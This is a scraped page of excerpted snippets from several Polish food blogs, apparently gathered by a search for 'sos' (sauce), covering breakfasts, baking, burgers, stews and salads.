kucharze robili oddzielne posiłki dla wegetarian i wegan, i to nie jakieś ugotowane warzywka z torebki, owszem, dania na bazie warzyw, ale bardzo ciekawe i smaczne, np. fasola w sosie pomidorowym z makaronem pełnoziarnistym, grillowane bataty, były też jakieś sojowe kotlety. Osoba z nietolerancją laktozy zawsze dostawała to samo co inni, ale oczywiście w wersji lakto-free. Gdy danego dnia

breakfast of dreams
.766. chia zamiast jajka i sernik gotowany 210

weguś" , sznycelki a'la cielęce "weguś" , masło orzechowe z kokosem , masło orzechowe czekoladowe , musztarda łagodna BIO , buraczki BIO , tahini naturalne , masło sezamowe słodzone agawą , hummus naturalny oraz pulpety w sosie pomidorowym "weguś" Już niedługo recenzje produktów oraz przepisy z ich wykorzystaniem :) A Was zapraszam na stronę Primavika gdzie trwa konkurs w którym możecie wygrać super nagrody

breakfast of dreams
.768. gorące śliwki 182

owsianka na mleku sojowym z gorącym sosem śliwkowym* i domowym masłem orzechowym~ *śliwki gotowane z niewielką ilością wody i łyżeczką miodu ok. 10 minut Miasto 44 - film ciężki, ale warto go obejrzeć. W dwóch momentach się popłakałam, a raz nawet miałam wrażenie, że nie dam rady tego obejrzeć do końca i chciałam wyjść...ale obejrzałam i film zrobił na mnie

breakfast of dreams
.787. dyniowo-puddingowo 159

dyniowy pudding z kaszy manny z sosem czekoladowym i mieszanką ziaren Cynamonowy Raj ; kawa bananowa

breakfast of dreams
.804. kokosowa sobota 169

kokosowe gofry z sosem czekoladowym~ Jaaaaakie tooo byłooo pyszne! *.* PRZEPIS /1 porcja/ ~15g chipsów kokosowych, posiekanych ~łyżka oleju kokosowego (roztopionego) ~2 jajka ~2 białka ~50g jogurtu naturalnego ~cukier/stevia ~szczypta soli ~1/2 łyżeczki ekstraktu z wanilii ~1/2 łyżeczki proszku do pieczenia + szczypta sody ~30-40g mąki kokosowej W misce wymieszać dwa jajka, jedno białko, jogurt, olej kokosowy i ekstrakt

breakfast of dreams
.923. naleśnikowe przygotowanie 170

pannukakku (pieczony fiński naleśnik) z solonym sosem krówkowym*~ *rozpuszczony kajmak ze szczyptą soli Kiedy ostatnio napisałam Wam, że pod koniec tygodnia wyjeżdżam kilka osób wytypowało miejsce poprawnie :) Otóż tak - w sobotę późnym wieczorem będę w...Finlandii! :) Nie wiem czy pamiętacie jak w tamtym roku w czerwcu byłam na wymianie w Norwegii? To jest własnie ten sam projekt, na tych samych

breakfast of dreams
.937. próba 169

kawowe  owsiane gofry z sosem kajmakowym (kajmak rozpuszczony z odrobiną mleka)~ W końcu odważyłam się użyć ponownie gofrownicy...Całe szczęście gofry wyszły z niej w jednym kawałku i były bardzo smaczne :D Wczoraj po praktykach postanowiłam że zrobię sobie luźny dzień - pojechałam z mamą na zakupy, potem upiekłam dwie szarlotki - jaglaną i tradycyjną (przepisy niedługo), ponieważ tato dostał cały

breakfast of dreams
.958. najgrubsze placki 187

kokosowe* placki z fasoli podane z sosem z kokosowego masła orzechowego ~ *z mąki kokosowej To były dosłownie najgrubsze placki jakie kiedykolwiek usmażyłam :D Na zdjęciu dokładnie tego nie widać, ale miały może z 1,5cm grubości :o Magia mąki kokosowej ♥ Dzisiaj jednak zostajemy w domu - nie pojechaliśmy nigdzie. Troche lenistwa się przyda ;) Zwłaszcza, że jutro chcę jechać z tatą

breakfast of dreams
Nie każdy tłuszcz jest zły! Kilka słów o OLEJU KOKOSOWYM 218

smarowania pieczywa, zamiast masła lub margaryny.  W związku z tym, że olej kokosowy rozpuszcza się w temperaturze ok. 26 stopni C, może być też dodawany do dressingów i sosów sałatkowych. GDZIE KUPIĆ OLEJ KOKOSOWY?  W Polsce jest on już coraz bardziej popularny i dostępny w sklepach, aczkolwiek zdaję sobie sprawę, że nie w każdym sklepie go dostaniecie

breakfast of dreams
PUSZYSTY OMLET BISZKOPTOWY 191

odrobiną tłuszczu. Ważne, żeby smażyć na małym ogniu, ok. 2-2,5 min. z każdej strony, i pod przykryciem. Podajemy z ulubionymi dodatkami, u mnie był to gęsty sos owocowy. Smacznego

chili & sugar
PODWÓJNIE CZEKOLADOWE, WEGAŃSKIE PANCAKES 209

posłodzenia Wszystko mieszamy razem, rozgrzewamy patelnie teflonową i smażymy placki wykładając ciasto łyżką. U mnie jeden placuszek to czubata łyżka ciasta. Podajemy z ulubionymi dodatkami, u mnie był to sos owocowy, ale dobrze sprawdzi się też syrop klonowy czy jakiś jogurt. :) Smacznego

chili & sugar
TAPIOKA NA SYROPIE KLONOWYM Z BANANEM 162

białka,  jest  hipoalergiczna  i pozbawiona smaku. Nie zawiera  glutenu  i  cholesterolu . Tapioki w postaci  mąki  używa się jako zagęszczacza do  sosów i  musów. Granulat tapioki stosuje się do wyrobu  legumin  i  budyniów .  Tapiokę kupiłam we wtorek i dopiero dziś miałam okazję ją przetestować. Najlepsze w niej

chili & sugar
CZEKOLADOWE TOSTY FRANCUSKIE 166

czym kłaść na patelnie. Smażyć na średnim ogniu ok. 1 min z każdej strony. Przełożyć na talerz i podawać z ulubionymi dodatkami, u mnie był to sos mleczny zrobiony z mleka w proszku i wody. Smacznego

chili & sugar
MAZUREK "ŚLIWKA W CZEKOLADZIE" NA RAZOWYM SPODZIE 202

wrzącą wodą. Następnego dnia przełożyć je do miksera i zmiksować na gładką masę razem z wodą w której się moczyły (powinien utworzyć się z niej w miarę gęsty 'sos'). Dodać kakao, fruktozę / cukier, ekstrakt waniliowy i ponownie zmiksować. *ja swoje śliwki zalałam wodą ok. 22.00 a zmiksowałam je następnego dnia ok. 14.00. Polewa: ~40g białej czekolady ~1/8szkl. mleka (radzę jednak

chili & sugar
jagody w sosie własnym. na zimowe wieczory. 174

zimowe wieczory (i poranki) idealne :) Kto nie lubi w lutym przypomnieć sobie smaku wakacji i zjeść trochę jagód? :) Idealne do deserów, śniadań i innych dań na słodko. JAGODY W SOSIE WŁASNYM przepis autorski - mój i mamy :)) // 4-5 słoiczków po 250-300ml ~800-1000g jagód (tak, aby każdy słoiczek zapełnić do 'prawie pełna' ;)) ~po 2 łyżki cukru

chili & sugar
wegański pasztet z soczewicy 254

wręcz przeciwnie - bardzo im smakowały :) Pasztet nie tylko nadaje się na Wielkanoc, możecie upiec go każdego dnia i zajadać na kanapkach, jako dodatek do surówki, na obiad z ulubionym sosem itp. :) Polecam! Zobacz także - wegański pasztet z soczewicy z pieczarkami *klik* WEGAŃSKI PASZTET Z SOCZEWICY Z MARCHEWKĄ I ZIARNAMI SŁONECZNIKA przepis autorski // keksówka o dł. 20-25cm ~200g żółtej

chili & sugar
Bułka wrocławska 163

naprawdę potężny - w sumie jak zawsze jak się ktoś wyprowadza. No to co można by zjeść na szybko i na prosto? Placki ziemniaczane! :) Ale nie takie zwykłe, tylko z sosem pieczarkowym! O tak, to można zjeść! :) A jaki to właściwie ma związek z bułkami wrocławskimi z tytułu postu? Ano taki, że razem z plackami zrobiliśmy też owe bułki (dwie sztuki

Marder&Marder Manufacture
Pasztet z królika według Danusi 191

wątrobę i gotować tylko tyle, żeby straciła swój krwisty kolor. Zdjąć z gazu, ostudzić. Jak wystygnie to dodać do gara pokruszoną/pokrojoną czerstwą bułkę, niech sobie nasiąknie tym "sosem".  Teraz mięso oddzielamy od kości i całość dwukrotnie mielimy w maszynce do mięsa. Przy drugim mieleniu używamy bardzo drobnego sitka. Do masy dodać pieprz, sól, startą gałkę muszkatołową

Marder&Marder Manufacture
Naleśniki pszenno-jaglane z farszem warzywnym 156

solą i gotowe. Nakładamy na połowę naleśnika, drugą połową przykrywamy i gotowe :) Inaczej raczej się nie da zawinąć, bo tak jak pisałem naleśniki są dość grube. Podawać z ulubionymi sosami. Jedzonko naprawdę pyszne, Madzia z Justyną potwierdzają :) A w kolejnym poście (wkrótce) rosyjskie bliny , które też serwowałem w ten pamiętny i uroczy weekend z Justyną :) Dodam jeszcze tylko, że bliny

Marder&Marder Manufacture
Quesadilla z serem 210

minutę, może dwie, przekręcamy na drugą stronę i tyle samo czasu smażymy. Aż ser się roztopi, a placek przyrumieni. Ściągamy, kroimy na pół i podajemy ciepłe z ulubionymi sosami. No prawda, że proste? :) --------------------------------------------------------------------- Chcesz dostawać moje przepisy prosto na e-mail? Wpisz swój adres z prawej strony w okienko "Przepisy prosto na twój e-mail!". Od tej pory żaden przepis

Marder&Marder Manufacture
Zupa z kapusty pekińskiej 161

było, bo od ilości wrażeń straciłem kontrolę nad pamięcią. Wiem, że na pewno były bardzo cienko pokrojone plastry wołowiny, krewetki, dwie wersje tofu, ziemniaki pokrojone w plastry, mnóstwo różnych sosów (mniej lub bardziej pikantnych), makaron sojowy (bądź podobny) i właśnie kapusta pekińska. A owego hot pota je się następująco: każdy bierze sobie co tam chce z tego dodatkowego stolika

Marder&Marder Manufacture
Czosnkowe skrzydełka w maśle 138

masła i całej reszty dodajemy trochę oleju (dzięki temu masło się nie przypali) i dorzucamy skrzydełka. I smażymy na złocisto i chrupiąco. Wykładamy na talerz i całość zalewamy sosem maślanym. Dobrze jest zaopatrzyć się w świeżą bagietkę, przyda się do maczania w maśle :) Smak jest genialny! Jak widać na zdjęciach czosnek mi się kompletnie zjarał (pewnie za grubo pokroiłem

Marder&Marder Manufacture
Bułki nadziewane dżemem mandarynkowym 115

dosyć lubię), czyli za przygotowanie jakiegoś żarełka. Tym bardziej, że Madzia za godzinę z pracy wróci i pewnie jeść będzie chciała. Więc w piekarniku już dochodzą kurczakowe udka w sosie musztardowo miodowym, a do tego zaraz zacznę robić ziemniaki. Wymyśliłem sobie takie grubo krojone, ze cztery razy grubsze niż tradycyjne frytki. Trzeba je nieco obgotować, odrobinę tylko, tak maksymalnie

Marder&Marder Manufacture
Królik w sosie musztardowym z pieczonymi pikantnymi ziemniakami w ziołach prowansalskich 176

ukos w półtalarki i dodajemy do królika. Mieszamy. Dodajemy 250 ml bulionu drobiowego. Przykrywamy. Zostawiamy na małym ogniu przez mniej więcej 20 minut, od czasu do czasu mieszając. Gdy sos już się zredukuje, dodajemy śmietanę 30% i igły z 3 gałązek rozmarynu. Dodajemy musztardę i całość mieszamy. Przykrywamy i gotujemy przez 15 minut. Królika już wyłożonego na talerz posypujemy rozmarynem

Marder&Marder Manufacture
Schab pieczony 141

wędliniarską. Pieczemy przez 1,5 godziny w 180 stopniach. W połowie tego czasu przekręcamy schab na drugą stronę. Pieczemy bez przykrycia. Możemy kroić na grube plastry i z jakimś sosem pieczeniowym użyć do obiadu, albo po prostu w cienkich plastrach na kanapki jako wędlina. Smacznego! --------------------------------------------------------------------- Chcesz dostawać moje przepisy prosto na e-mail? Wpisz swój adres z prawej strony

Marder&Marder Manufacture
Baleron pieczony 170

następnie zmniejszamy temperaturę do 140 stopni i pieczemy godzinę na każdy kilogram mięsa, czyli u nas 2,5 godziny. I teraz: albo jemy na ciepło jako pieczeń z jakimś sosem do obiadu, albo studzimy i jemy na kanapki jako wędlina. Smakuje genialnie. Smacznego! --------------------------------------------------------------------- Chcesz dostawać moje przepisy prosto na e-mail? Wpisz swój adres z prawej strony w okienko "Przepisy

Marder&Marder Manufacture
Weekend z grillem #1 181

sałatka nie zawsze będzie typową sałatką, dzisiaj na przykład będą to grillowane pomidory. Ale pomidory to roślina więc zalicza się do sałatek :) Tak samo zresztą jak pizza, przecież ma sos pomidorowy :) A po drugie: będziemy co jakiś czas publikować przepisy na jakieś wędliny i tym podobne produkty, już nie  koniecznie typowo grillowe. Zatem w pierwszym wydaniu Weekendu z grillem

Marder&Marder Manufacture
Weekend z grillem #2 191

skrapiamy z obu stron oliwą. I chowamy do lodówki. Robimy farsz: paprykę, pieczarki i dymkę kroimy w kostkę, taką nie za małą. Wrzucamy do miski, solimy, dajemy troszkę oliwy, sosu sojowego, mieszamy i wykładamy na tackę do grillowania. Grillujemy. Suszone pomidory kroimy na niewielkie kawałki, oliwki na ćwiartki, ser feta w małą kostkę. Przekładamy wszystko do miski. Dorzucamy drobno posiekane

Marder&Marder Manufacture
Chrupiąca brukselka w cieście 170

cieście. Oblepiamy dokładnie brukselkę. I zanurzamy w gorącym oleju. Trzymamy około minuty. I tak po kolei z każdą brukselką. Wyjmujemy na papierowy ręczniczek żeby odsączyć. Podajemy koniecznie z sosem słodko-kwaśnym lub słodko-pikantnym albo dipem jogurtowym (gęsty jogurt naturalny ucieramy do smaku z utartym imbirem, sokiem z cytryny, wasabi i siekaną kolendrą). Smacznego! --------------------------------------------------------------------- Chcesz dostawać moje przepisy prosto

Marder&Marder Manufacture
Green salad 2, czyli sałatka z awokado, mozzarellą i suszonymi pomidorami 183

paski kroimy suszone pomidory i też do miski dajemy. Całość obsypujemy wyprażonym na suchej patelni ziarnem słonecznika (ja jestem strasznie zamotany i zapomniałem o słoneczniku). I został jeszcze tylko sos: 1 łyżka soku z cytryny, szczypta lub najlepiej dwie soli morskiej, 1 łyżeczka grubomielonego kolorowego pieprzu i 1 łyżeczka musztardy. Dokładnie ze sobą mieszamy i dodajemy 4 łyżki oliwy

Marder&Marder Manufacture
Wege gołąbki II - z ryżem, pieczarkami, ciecierzycą i soczewicą 195

ciasno układamy gołąbki. Podlewamy je wodą lub rozrzedzonym przecierem pomidorowym. Madzia podlała bulionem z naszej domowej bulionetki . Pieczemy przez godzinę w 160 stopniach. Dobrze jest podawać te gołąbki z sosem pomidorowym, takim samym jak przy poprzednich gołąbkach, czyli: puszka krojonych pomidorów 2 łyżeczki koncentratu pomidorowego 3 łyżki śmietany łyżeczka cukru pieprz, sól koper suszony (lub świeży, ale my akurat mieliśmy

Marder&Marder Manufacture
Makaron z małżami i krewetkami 136

koktajlowych 65 g małży 1/2 papryczki chili 1 ząbek czosnku 50 ml białego wytrawnego wina pęczek natki pietruszki oliwa do smażenia Nasze małże był takie malutkie, bez skorupek, w sosie własnym. Taki malutki słoiczek mieliśmy, 130 g. Po odlaniu zalewy zostało 65 g małży. Tyle spokojnie wystarczy, nawet nieco mniej też by mogło być. Gotujemy makaron. Krewetki i małże podsmażamy

Marder&Marder Manufacture
Bruschetta 253

także podobnie działające lecytynę i beta-sitosterol. Kulinarne zastosowanie oleju z awokado: Delikatny orzechowy smak i głęboki zielony kolor sprawiają, że olej z awokado świetnie nadaje się do sosów sałatkowych, dekorowania potraw, takich jak makarony, pierogi lub pieczone mięsa oraz do poprawiania przyswajalności składników odżywczych. Jedwabistą warstwą otula pożywienie i nie pozostawia tłustego posmaku. Ma najwyższą temperaturę dymienia (255 stopni

Marder&Marder Manufacture
Spaghetti alla Carbonara 149

przecież mu z nogów dupy powyrywam! Ale jako kulturalny gospodarz zgodziłem się. I zacząłem tłumaczyć chłopakowi jak ma to zrobić. Że to ostrożnie trzeba, bo to ma być sos jajeczny, a nie jajecznica i takie tam gadanie... A facet po prostu stał, cierpliwie słuchał i mi przytakiwał. Taki po prostu pokorny uczeń. A potem zrobił najlepszą carbonarę jaką jadłem

Marder&Marder Manufacture
Faszerowane pomidory 162

cytryny oliwa z oliwek Z pomidorów ścinamy wierzchołki i wydrążamy gniazda nasienne, czyli ogólnie cały środek. Ten środek już nam nie będzie potrzebny, możemy go przerobić później na jakiś sos pomidorowy.  W środku wydrążone pomidory posypujemy solą i pieprzem i skrapiamy oliwą. Chowamy do lodówki i przygotowujemy szpinak. Szpinak drobno siekamy i mieszamy z również drobno pokrojoną mozzarellą oraz

Marder&Marder Manufacture
Jajka po florencku 183

smaku i podsmażamy mieszając co jakiś czas. Po kilku minutach szpinak jest gotowy, aromatyczny i pyszny. Na podgrzanego w piekarniku tosta kładziemy solidną porcję szpinaku, na to jajko, polewamy sosem holenderskim, posypujemy świeżo zmielonym białym pieprzem i odrobiną szczypiorku. Niebo w gębie! Smacznego! --------------------------------------------------------------------- Chcesz dostawać moje przepisy prosto na e-mail? Wpisz swój adres z prawej strony w okienko "Przepisy

Marder&Marder Manufacture
Gulasz wieprzowo-wołowy 139

gotujemy na malutkim ogniu aż mięso będzie miękkie. W połowie duszenia dolewamy wino i dodajemy słodką paprykę. Pod koniec dodajemy koncentrat pomidorowy i resztę przypraw.  Na koniec studzimy sos, zaprawiamy śmietaną i raz jeszcze podgrzewamy. Smacznego! --------------------------------------------------------------------- Chcesz dostawać moje przepisy prosto na e-mail? Wpisz swój adres z prawej strony w okienko "Przepisy prosto na twój e-mail

Marder&Marder Manufacture
Puree z dyni 185

odlewamy. Przestudzone kawałki dyni obieramy ze skórki i rozdrabniamy blenderem na gładką papkę. Wkładamy do słoików do 3/4 wysokości i pasteryzujemy 20 minut. Takiego puree możemy używać do zup, sosów, chlebów i innych wypieków. Podzielcie się z nami swoimi pomysłami na wykorzystanie dyniowej papki! :) Smacznego! Madzia --------------------------------------------------------------------- Chcesz dostawać nasze przepisy prosto na swój e-mail? Wpisz swój adres z prawej

Marder&Marder Manufacture
Kurczak miętowy 162

stopni i pieczemy 60 minut. Po tym czasie zmniejszamy temperaturę do 170 stopni, odchylamy folię zdejmujemy miętę z wierzchu i pieczemy aż kurczak będzie rumiany. Często podlewamy sosem, który się wytworzył. Po podaniu posypujemy kurczaka posiekaną miętą. Smacznego! --------------------------------------------------------------------- Chcesz dostawać moje przepisy prosto na e-mail? Wpisz swój adres z prawej strony w okienko "Przepisy prosto na twój e-mail

Marder&Marder Manufacture
Bułki do hamburgerów 228

kilku dni publikujemy rzeczy związane z hamburgerami. Póki co dodatki, jak sosy, czy frytki. Teraz będzie ostatni dodatek, po nim, jutro, już pierwszy przepis na burgera. Ostatni, ale bardzo ważny. Bo czy ktoś wyobraża sobie burgera bez bułki? Co prawda dawno temu hamburger to był własnie sam kotlet. Legenda głosi, że pochodzi właśnie z Hamburga, z Niemiec. I to właśnie

Marder&Marder Manufacture
Klasyczny cheesburger 190

śmieciowego jedzenia. Bo nie dość, że jest pyszne to wcale nie niezdrowe i śmieciowe. To 100% wołowina i świeże warzywa. W tym nie ma nic niezdrowego. Do tego domowe sosy bez żadnych paskudnych dodatków, domowe bułki. Absolutnie perfekcyjny obiad. W zasadzie to i nawet kolacja, bo jak człowiek w porze obiadowej takiego burgera wciągnie to do śniadania wystarczy :) Jak zrobić

Marder&Marder Manufacture
Sztukamięs z sosem śliwkowym 161

czasie wywar z warzywami zlewamy, a mięso obtaczamy w przyprawie do mięs Knorr. Podpiekamy w piekarniku na funkcji grilla ok. 10 minut w temp. 200 stopni. My podaliśmy z sosem śliwkowym wg TEGO przepisu ale pasują do tego również inne ulubione dodatki, np. kopytka. Nie musimy wylewać wywaru, który pozostał po pieczeniu mięsa. Można z niego zrobić zupę. Wystarczy odrobinę

Marder&Marder Manufacture
Rolada z polędwiczki ze szpinakiem 164

zgłodniałem. A że weekend był to mogliśmy nieco więcej fajnych rzeczy zrobić. Tak więc powstały właśnie te rolady z polędwiczki, do tego - jako kolejne danie - klops nadziewany w sosie grzybowym i ziemniaki boulangère. Prawdziwym hitem były właśnie te ziemniaki. Niby prosta rzecz: krojone w talarki i pieczone w bulionie. Ale po wchłonięciu tego bulionu były po prostu fantastyczne! Ale póki

Marder&Marder Manufacture
Burger kontynentalny 202

Kolejny burger w naszym cyklu. Na bogato: potężny kawał wołowiny, sadzone jajko, kilka plastrów boczku, pyszne sosy, plasterek cheddara, odrobina sałaty. A wszystko to ukryte pomiędzy dwoma kawałkami pysznej domowej bułki. I niech ktoś mi powie, że burgery są niezdrowe! To normalnie... To normalnie go znajdę, zrobię mu takiego burgera i każę zjeść! :) Domowe burgery są absolutnie pyszne i staramy

Marder&Marder Manufacture
Miniburgery 238

przykład na ogrodową imprezę. Je się je o wiele wygodniej niż klasyczne wielkie burgery. Te duże uwielbiam, ale nigdy nie potrafiłem ich jeść, zawsze na koniec jestem cały umazany sosami i dodatkami. A te miniburgery doskonale chwyta się w dłoń i po kilku gryzach znikają w żołądku. My je pokochaliśmy, mamy nadzieję, że wy również obdarzycie je gorącym uczuciem

Marder&Marder Manufacture
Klopsiki indycze w sosie pomidorowo-paprykowym z makaronem 138

sól i pieprz do smaku. Na patelni podsmażamy na rumiano klopsiki. Nie dajemy dodatkowo tłuszczu, gdyż w zupełności wystarczy ten który pokrywa już nasze mięsne kuleczki. Wrzucamy je do sosu i gotujemy 5-10 minut na wolnym ogniu. Podajemy z makaronem al dente. U nas było to tagliatelle, ale będzie pasowało również spaghetti. Zajadamy ze smakiem :) Smacznego! Madzia --------------------------------------------------------------------- Chcesz dostawać

Marder&Marder Manufacture
Tarta jabłkowa z sosem śmietanowym i pomarańczową glazurą 170

wstawiamy na 20 minut do piekarnika nagrzanego do 180 stopni. Po tym czasie wyjmujemy i studzimy. Na podpieczonym spodzie układamy ciasno kawałki jabłek, tak aby na siebie nachodziły. Polewamy sosem i pieczemy około 40 minut w 180 stopniach. Po wyjęciu smarujemy podgrzaną na patelni marmolada pomarańczową. Jeżeli marmolada nie chce się rozpuścić możemy do niej dodać łyżkę lub dwie wody

Marder&Marder Manufacture
Gołąbki z mięsem i kaszą pęczak 156

garnka wykładamy zewnętrznymi liśćmi, których nie wykorzystaliśmy podczas parzenia. Przygotowane gołąbki wkładamy do garnka, zalewamy wodą z parzenia liści i dusimy ok 1-1,5 godziny. Podajemy z sosem pomidorowym który przygotowujemy następująco: 1 szklanka wody z kapusty 1 puszka pomidorów pól szklanki wody łyżka masła 1 łyżeczka cukru sól, pieprz 2 łyżki mąki Zagotowujemy wodę z puszką pomidorów. Blendujemy

Marder&Marder Manufacture
Hiszpański ser Queso Blanco - idealny na kanapki! 164

podobno też idealnie nadaje się do obróbki termicznej, bo nie topi się nawet podczas smażenia w głębokim tłuszczu. Można go kroić w kostki i dodawać do zup, sosów (spaghetti), lub jako zamiennik tofu. 5 litrów niepasteryzowanego mleka 60 ml octu 1 łyżeczka soli Mleko podgrzewamy do temperatury 85-88 stopni uważając, aby się nie przypaliło. Delikatnie mieszając powoli wlewamy ocet

Marder&Marder Manufacture
Cevapcici z indyka 215

Cevapcici najczęściej robi się z wołowiny i jagnięciny,  ja postanowiłam przygotować je z chudego mięsa z indyka w takiej formie bardzo lubią je dzieci, polecam z pikantnym sosem paprykowym. Składniki 500 g mielonego mięsa z indyka 1 jajko 3 ząbki czosnku 1 cebula 1 łyżeczka ziół dalmatyńskich słodka papryka ostra papryka sól do smaku pieprz biały do smaku oliwa

Wanilia i Kardamon
Smarowidło do chleba 171

robię gdy dzieci idą do szkoły,bardzo smakuje z pszenną bułeczką z kubkiem herbaty na śniadanko,polecam małym i dużym..:) Składniki 4 jajka 1 cebula 1 puszka tuńczyka w sosie własnym 1 łyżka majonezu sól morska do smaku pieprz czarny grubo mielony natka pietruszki do posypania Sposób przygotowania Jajka gotujemy na twardo,przelewamy wodą,studzimy,obieramy ze skorupek,trzemy

Wanilia i Kardamon
Sałatka egzotyczna 258

tuńczykiem i ananasem,smakuje wybornie,jest tania i pożywna,na długo daje uczucie sytości. Składniki 200 g ryżu amerykańskiego 1 puszka ananasa 1 puszka kukurydzy 1 puszka tuńczyka w sosie własnym 1/2 pora 1/2 czerwonej papryki 150 g sera żółtego szczypta kurkumy majonez sól morska do smaku pieprz syczuański do smaku Sposób przygotowania Ryż gotujemy na sypko w lekko osolonej

Wanilia i Kardamon
Placki ziemniaczane Babci Zosi 160

złociste i niczym nie różnią się od tych przygotowanych od A do Z w domu. Zjedliśmy wszystkie i było nam mało! Można je podać z dowolnymi dodatkami,ketchupem, sosem czosnkowym,tatarskim, śmietaną  My wolimy bez niczego-takie są dla nas najlepsze! Opakowania produktów są estetyczne zgrabne, z wygodnym zamknięciem i przezroczystym okienkiem,  czy produkty firmy

Wanilia i Kardamon
Pasztet jajeczny z parówką 344

godz w temp 180*c.na parę minut przed końcem pieczenia zdjąć folię aluminiową.  Wyjąć z piekarnika zostawić do całkowitego wystygnięcia. Zimny pasztet kroić na grube plastry serwować z sosem chrzanowym na zimno. Życzę smacznego

Wanilia i Kardamon
Kluski śląskie z potrawką z szynki 250

czasie dodajemy startą na tarce jarzynowej obraną wcześniej marchewkę i pietruszkę zalewamy 1/2 litra wody lub bulionu i dusimy pod przykryciem aż mięso będzie miękkie-około 45 minut, sos zagęszczamy zawiesiną z maki-rozrobionej w małej ilości wody.Zagotowujemy

Wanilia i Kardamon
Kurczak w delikatnym sosie serowo-ziołowym 1913

garnka przykrywamy pokrywką.  Cebule z czosnkiem i pomidorami zrumienić na tłuszczyku z patelni, całość przełożyć do mięsa, wlać śmietankę , oraz dodać serek, wymieszać, gotować około 10 minut aż sos zgęstnieje, doprawić solą do smaku, podawać z ryżem ugotowanym na sypko

Wanilia i Kardamon
Szpinakowy Torcik :) 231

dobrze smakuje w połaczeniu z serem feta (nie jest to konieczne). Przekładać naleśniki szpinakiem, który posypać żółtym startym serem. Torcik zapiec w piekarniku przez ok 10 minut. Podawać z sosem pieczarkowym z cebuką. Smacznego

ChilliJemy
Sos a'la Grześ 190

Kiedy mężczyzna wchodzi do kuchni robi swoją osobistą rewolucję ;) Podstawą jest w tym przypadku szynka, najlepiej wiejska pachnąca, cudna szynka :) Przedstawiam Wam fantazję na temat "białego sosu". Składniki: szynka ok 40dag 3 serki topione (szynka, papryka, pieczarki, naturalny - do wyboru) 2 duże śmietany - 18% 1 duża cebula przyprawy (papryka ostra, bazylia, majeranek, tymianek, oregano, sól, pieprz) dodatkowo - makaron spaghetti Makaron

ChilliJemy
Tuńczyk z makaronem penne 183

racji tego, że dziś piątek i że lubię ryby, moja propozycja to tuńczyk z makaronem penne :) Smacznie i pachnąco ;) Składniki: puszka tuńczyka w sosie własnym ok 10 oliwek 2 pomidory cebula ser wędzony 1 łyżeczka koncentratu pomidorowego oliwa z oliwek makaron penne przyprawy (oregano, bazylia, pieprz, sól) Przygotowanie: Gotujemy makaron al dente. Cebulę i pomidory kroimy w drobną kosteczkę. Cebulę

ChilliJemy
muffinki serowe z papryką 169

Propozycja na karnawałowa przekąskę :)  Smaczne tak samo pierwszego, jak i drugiego dnia :) Ja osobiście lubię je z sosem czosnkowym :) Składniki : 250 g mąki pszennej 1,5 łyżeczki proszku do pieczenia ok 100g drobno pokrojonej papryki czerwonej 150 g sera żółtego startego na tarce 75 ml oleju 220 ml mleka 2 jajka pół łyżeczki soli przyprawy - pieprz, papryka

ChilliJemy
Spaghetti ze szpinakiem i kurczakiem 188

czosnku dodać pokrojonego kurczaka i podsmażyć do lekkiego zarumienienia. Do podduszenia z kurczakiem, dołączamy szpinak . Dusimy do odparowania wody i  dodajemy pomidory pokrojone w kostkę. Doprawiamy do smaku. Sos wykładamy na makaron i opruszamy stwartym na tarce serem. Smacznego

ChilliJemy
Sałatka z wędzonym łososiem i serem pleśniowym 140

osuszyć i porwać na kawałki. Łososia podzielić na mniejsze płaty. Ser pokroić w plastry. Oliwę połączyć z cytryną (do smaku) i dodać przyprawy. Wymieszać. Składniki połaczyc i skropić przygotowanym sosem.  Smacznego

ChilliJemy
Grillowany kurczak z cukinią 195

oliwy i wrzucić kurczaka z cukinią. Podgrillować ok 5 minut i dodać paprykę z cebulką.  Po kolejnych 5 minutach dodać koncentrat pomidorowy i wodę (grillować do częściowej redukcji sosu). Doprawić. Pychota

ChilliJemy
Pieczony kurczak z sosem pieczarkowym i fasolką szparagową 178

praskę czosnku (może być drobno pokrojony). Cebule kroimy i lekko podsmażamy. Wykładamy na drób.  Kurczaka wstawiamy na ok 35 minut do rozgrzanego piekarnika (160stopni). W międzyczasie podlewamy własnym sosem, aby nie był suchy. Pieczarki myjemy, kroimy w ósemki i zalewamy 2 szklankami wody. Dusimy na małym ogniu, dodając podsmażaną cebulkę i przyprawy wraz z posiekaną natka pietruszki. Zaprawiamy mąką

ChilliJemy
Grillowany boczek w miodowo - pomidorowej marynacie 227

Sezon grillowy w pełni więc chciałam Wam Kochani przedstawić grillowany boczek w całej swej okazałości w panierce, która nie jest słodka, a delikatnie pikantna. Uwielbiam podawany z sosem czosnkowym :)  Składniki: 80dag chudego boczku 3 duże łyżki ketchupu pikantnego 3 duże łyżki oliwy duża łyżka miodu naturalnego 3 ząbki czosnku sól, pieprz  zioła prowansalskie bazylia oregano majeranek ostra papryka

ChilliJemy
Sałatka z brokułami i kurczakiem w sosie śmietanowo- czosnkowym 495

obieramy i przeciskamy przez praskę do śmietany. Dodajemy szczyptę cukru, oraz pieprz i sól do smaku. W dużej salaterce łączymy ze sobą ugotowany brokuł, przestudzonego kurczaka i makaron. Zalewamy sosem i mieszamy. Mniam :) Smacznego

ChilliJemy
Sos vinegret na bazie miodu ( miodowy vinegret) 192

łyżki miodu 3 ząbki czosnku sól, pieprz Przygotowanie: Oliwę, sok z cytryny i miód łączymy i dokładnie mieszamy.  Obieramy czosnek i wyciskamy go praską do miseczki z sosem i ponownie mieszamy. Doprawiamy solą i pieprzem. Gotowe

ChilliJemy
Sałatka Grecka 172

odrobinę posolić do "zsikania". Ser feta delikatnie wyjąć z opakowania i pokroić w kosteczkę. Oliwki przepołowić. Do miski wrzucić porwaną sałatę i przygotowane wcześniej warzywa oraz ser. Polać przygotowanym sosem i przypruszyć delikatnie świeżo zmielonym pieprzem. Smacznego

ChilliJemy
Domowy gulasz wołowy - tradycyjny jak u Mamy (a raczej Taty) 242

oraz przyprawy i opcjonalnie kostkę mięsną. Dusimy pod przykryciem minimum godzinę (optymalnie jest dusić na małym ogniu ok 2 godzin). Co jakiś czas mieszamy i dolewamy wody (szybko wyparowuje). Sos zagęszczamy mąką, którą rozprowadzamy w zimnej wodzie (ok 1/3 szklanki). Gotujemy jeszcze kilka minut do zgęstnienia. Podajemy na gorąco z kaszą gryczana lub ziemniaczkami ( u mnie konieczna gryczana opcja) :) Posypujemy

ChilliJemy
Dip/sos z czerwonej fasoli 243

